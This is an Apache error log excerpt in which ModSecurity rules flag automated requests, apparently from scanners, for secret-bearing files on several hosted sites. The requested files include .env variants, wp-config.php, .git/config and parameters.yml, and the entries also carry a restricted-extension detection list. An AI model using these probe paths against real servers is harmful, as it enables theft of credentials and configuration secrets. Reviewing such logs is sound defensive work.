[uri "/.env.backup"] [unique_id "almaTlxP5-SsqbGuGB2lJQAAAAA"]
[Fri Jul 17 08:28:22.367840 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaTlxP5-SsqbGuGB2lJQAAAAA"]
[Fri Jul 17 08:28:22.368093 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaTlxP5-SsqbGuGB2lJQAAAAA"]
[Fri Jul 17 08:28:22.368388 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTlxP5-SsqbGuGB2lJQAAAAA"]
[Fri Jul 17 08:28:22.379951 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaTol9vhFBGA6D8l92YgAAAAw"]
[Fri Jul 17 08:28:22.380255 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaTol9vhFBGA6D8l92YgAAAAw"]
[Fri Jul 17 08:28:22.380579 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTol9vhFBGA6D8l92YgAAAAw"]
[Fri Jul 17 08:28:22.456337 2026] [security2:error] [pid 2013830:tid 2013830] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaTgRRrtuZqNDDSqWsvwAAABo"]
[Fri Jul 17 08:28:22.456614 2026] [security2:error] [pid 2013830:tid 2013830] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaTgRRrtuZqNDDSqWsvwAAABo"]
[Fri Jul 17 08:28:22.456889 2026] [security2:error] [pid 2013830:tid 2013830] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTgRRrtuZqNDDSqWsvwAAABo"]
[Fri Jul 17 08:28:22.683987 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaTlxP5-SsqbGuGB2lJgAAAAA"]
[Fri Jul 17 08:28:22.684245 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaTlxP5-SsqbGuGB2lJgAAAAA"]
[Fri Jul 17 08:28:22.684489 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTlxP5-SsqbGuGB2lJgAAAAA"]
[Fri Jul 17 08:28:22.884516 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:37370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:22.885661 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:23.159568 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaSgPhWp7RzB65h36e2AAAAA0"]
[Fri Jul 17 08:28:23.568973 2026] [security2:error] [pid 2014279:tid 2014279] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaT0z_ZDvgWqiMlMbLVgAAAB0"]
[Fri Jul 17 08:28:23.569286 2026] [security2:error] [pid 2014279:tid 2014279] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaT0z_ZDvgWqiMlMbLVgAAAB0"]
[Fri Jul 17 08:28:23.641698 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaS0hq6UAnqYko0LpXRwAAABE"]
[Fri Jul 17 08:28:23.734344 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaT4ha5y5fYnQ1qRrvxAAAAAE"]
[Fri Jul 17 08:28:23.734593 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaT4ha5y5fYnQ1qRrvxAAAAAE"]
[Fri Jul 17 08:28:23.734883 2026] [security2:error] [pid 1993604:tid 1993604] [client 18.208.204.157:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.beneficiary.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaT4ha5y5fYnQ1qRrvxAAAAAE"]
[Fri Jul 17 08:28:23.936161 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6403b7ce0c048_follow up sheet - 3 language.pdf"] [unique_id "almaT4l9vhFBGA6D8l92ZQAAAAw"]
[Fri Jul 17 08:28:23.936496 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6403b7ce0c048_follow up sheet - 3 language.pdf"] [unique_id "almaT4l9vhFBGA6D8l92ZQAAAAw"]
[Fri Jul 17 08:28:23.936846 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6403b7ce0c048_follow up sheet - 3 language.pdf"] [unique_id "almaT4l9vhFBGA6D8l92ZQAAAAw"]
[Fri Jul 17 08:28:23.954833 2026] [security2:error] [pid 2014285:tid 2014285] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaSzPV8F2Ufi3kXba6rgAAAB4"]
[Fri Jul 17 08:28:23.998948 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:37534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:24.026688 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaUIha5y5fYnQ1qRrvxQAAAAE"]
[Fri Jul 17 08:28:24.026850 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaUIha5y5fYnQ1qRrvxQAAAAE"]
[Fri Jul 17 08:28:24.027073 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaUIha5y5fYnQ1qRrvxQAAAAE"]
[Fri Jul 17 08:28:24.074408 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaUAPhWp7RzB65h36e2gAAAA0"]
[Fri Jul 17 08:28:24.074751 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaUAPhWp7RzB65h36e2gAAAA0"]
[Fri Jul 17 08:28:24.744655 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaS3RlmrtCoY_COpcimQAAAAg"]
[Fri Jul 17 08:28:24.952194 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.production"] [unique_id "almaUEhq6UAnqYko0LpXSQAAABE"]
[Fri Jul 17 08:28:24.952423 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.production"] [unique_id "almaUEhq6UAnqYko0LpXSQAAABE"]
[Fri Jul 17 08:28:25.137409 2026] [security2:error] [pid 2014285:tid 2014285] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.local"] [unique_id "almaUTPV8F2Ufi3kXba6sAAAAB4"]
[Fri Jul 17 08:28:25.137692 2026] [security2:error] [pid 2014285:tid 2014285] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.local"] [unique_id "almaUTPV8F2Ufi3kXba6sAAAAB4"]
[Fri Jul 17 08:28:25.139943 2026] [security2:error] [pid 2014321:tid 2014321] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaUdbqW6u97-NXXfOr1wAAACE"]
[Fri Jul 17 08:28:25.140194 2026] [security2:error] [pid 2014321:tid 2014321] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaUdbqW6u97-NXXfOr1wAAACE"]
[Fri Jul 17 08:28:25.140566 2026] [security2:error] [pid 2014321:tid 2014321] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaUdbqW6u97-NXXfOr1wAAACE"]
[Fri Jul 17 08:28:25.142738 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
